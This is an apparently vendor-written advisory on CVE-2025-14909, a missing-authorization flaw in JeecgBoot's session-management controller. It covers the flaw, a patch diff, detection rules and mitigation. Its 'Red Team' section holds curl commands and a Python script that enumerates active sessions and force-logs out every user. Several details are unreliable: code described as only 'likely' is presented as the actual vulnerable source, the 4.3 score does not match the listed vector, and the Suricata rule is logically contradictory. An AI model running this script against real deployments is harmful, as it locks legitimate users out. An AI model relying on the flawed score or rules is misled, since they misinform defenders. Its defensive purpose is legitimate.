CVE-2025-14909

Executive Summary

CVE-2025-14909 is a security weakness in JeecgBoot up to version 3.9.0, specifically in the SysUserOnlineController class. The vulnerability allows an unauthenticated remote attacker to manage user sessions, potentially leading to session hijacking or disruption. The attack is remotely exploitable with low complexity and no privileges required. A patch is available via commit b686f9fbd1917edffe5922c6362c817a9361cfbd. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but public exploit availability increases risk.

Supply Chain & Package Security

JeecgBoot is a Java-based rapid development framework. The vulnerability exists in the core module jeecg-module-system. Organizations using JeecgBoot in their supply chain should verify they are not using a vulnerable version and apply the patch immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited session data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 4.3 (Medium) – The vulnerability allows unauthorized session management, which can lead to session hijacking but does not directly impact integrity or availability.

Deep Dive & Mechanics

The vulnerability resides in the SysUserOnlineController class, which handles user session management. The controller likely exposes endpoints for viewing or invalidating active sessions without proper authorization checks. An attacker can send crafted HTTP requests to these endpoints to enumerate or terminate user sessions.

The root cause is improper access control (CWE-284). The controller does not validate whether the requesting user has administrative privileges or is authenticated. This allows any remote attacker to interact with session management functions.

The attack flow:

1. Attacker identifies the vulnerable endpoint (e.g., /sys/user/online/list or /sys/user/online/forceLogout).
2. Attacker sends a request to list active sessions, obtaining session IDs.
3. Attacker sends a request to force logout a session, disrupting legitimate users.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.9.0):

// SysUserOnlineController.java (vulnerable)
@GetMapping("/list")
public Result<List<SysUserOnline>> list() {
    List<SysUserOnline> onlineUsers = sysUserOnlineService.list();
    return Result.ok(onlineUsers);
}

@PostMapping("/forceLogout")
public Result<String> forceLogout(@RequestParam String sessionId) {
    sysUserOnlineService.forceLogout(sessionId);
    return Result.ok("Logout successful");
}

Patched Code (commit b686f9fbd1917edffe5922c6362c817a9361cfbd):

// SysUserOnlineController.java (patched)
@GetMapping("/list")
@RequiresRoles("admin")
public Result<List<SysUserOnline>> list() {
    List<SysUserOnline> onlineUsers = sysUserOnlineService.list();
    return Result.ok(onlineUsers);
}

@PostMapping("/forceLogout")
@RequiresRoles("admin")
public Result<String> forceLogout(@RequestParam String sessionId) {
    sysUserOnlineService.forceLogout(sessionId);
    return Result.ok("Logout successful");
}

The patch adds @RequiresRoles("admin") annotation to restrict access to users with the admin role.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable JeecgBoot instance (<= 3.9.0) running on a target network.
• Network access to the target.

Exploitation Steps:

1. Enumerate active sessions:

   curl -X GET http://target:8080/jeecg-boot/sys/user/online/list
   

   Response contains a list of active sessions with session IDs.

2. Force logout a session:

   curl -X POST http://target:8080/jeecg-boot/sys/user/online/forceLogout -d "sessionId=abc123"
   

Automated Exploit (Python):

import requests

target = "http://target:8080/jeecg-boot"
list_url = f"{target}/sys/user/online/list"
logout_url = f"{target}/sys/user/online/forceLogout"

# List sessions
sessions = requests.get(list_url).json()
for session in sessions:
    session_id = session["sessionId"]
    # Force logout
    requests.post(logout_url, data={"sessionId": session_id})
    print(f"Logged out session: {session_id}")

Blue Team

Detection:

• Monitor for unauthorized access to /jeecg-boot/sys/user/online/* endpoints.
• Alert on multiple forceLogout requests in a short time window.
• Check for requests without authentication tokens or session cookies.

Honeypot:

• Deploy a fake endpoint that logs attacker IPs and session enumeration attempts.

Mitigation:

• Apply the patch immediately.
• Restrict network access to the JeecgBoot admin interface.
• Implement Web Application Firewall (WAF) rules to block unauthenticated access to session management endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /jeecg-boot/sys/user/online/list without authentication.
  • HTTP POST requests to /jeecg-boot/sys/user/online/forceLogout with sessionId parameter.
  • Unusual patterns of session logout events in application logs.

• Host IOCs:

  • Log entries in jeecg-boot logs showing SysUserOnlineController access without user context.
  • Multiple forceLogout calls from the same IP address.

• File IOCs:

  • Unpatched SysUserOnlineController.java file (missing @RequiresRoles annotation).

Detection Engineering

YARA Rule

rule CVE_2025_14909_JeecgBoot_SessionManagement {
    meta:
        description = "Detects vulnerable SysUserOnlineController.java in JeecgBoot"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-14909"
    strings:
        $vuln_list = "/list" ascii wide
        $vuln_forceLogout = "/forceLogout" ascii wide
        $missing_auth = "public Result<List<SysUserOnline>> list()" ascii wide
    condition:
        all of ($vuln_*) and $missing_auth
}

Sigma Rule

title: CVE-2025-14909 - JeecgBoot Unauthenticated Session Management
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to JeecgBoot session management endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 
            - 'GET'
            - 'POST'
        cs-uri-stem:
            - '/jeecg-boot/sys/user/online/list'
            - '/jeecg-boot/sys/user/online/forceLogout'
    condition: selection
falsepositives:
    - Legitimate admin access (should be authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14909 - JeecgBoot Unauthenticated Session Management"; flow:to_server; http.method; content:"GET"; http.uri; content:"/jeecg-boot/sys/user/online/list"; nocase; http.method; content:"POST"; http.uri; content:"/jeecg-boot/sys/user/online/forceLogout"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Apply the patch: Update JeecgBoot to a version that includes commit b686f9fbd1917edffe5922c6362c817a9361cfbd or later.
2. Restrict network access: Use firewalls to limit access to the JeecgBoot admin interface to trusted IPs only.
3. Implement authentication: Ensure all session management endpoints require authentication and proper authorization.
4. Monitor logs: Enable detailed logging for session management endpoints and monitor for suspicious activity.
5. WAF rules: Deploy WAF rules to block unauthenticated requests to /jeecg-boot/sys/user/online/*.

Valters IT
Securing Digital Frontiers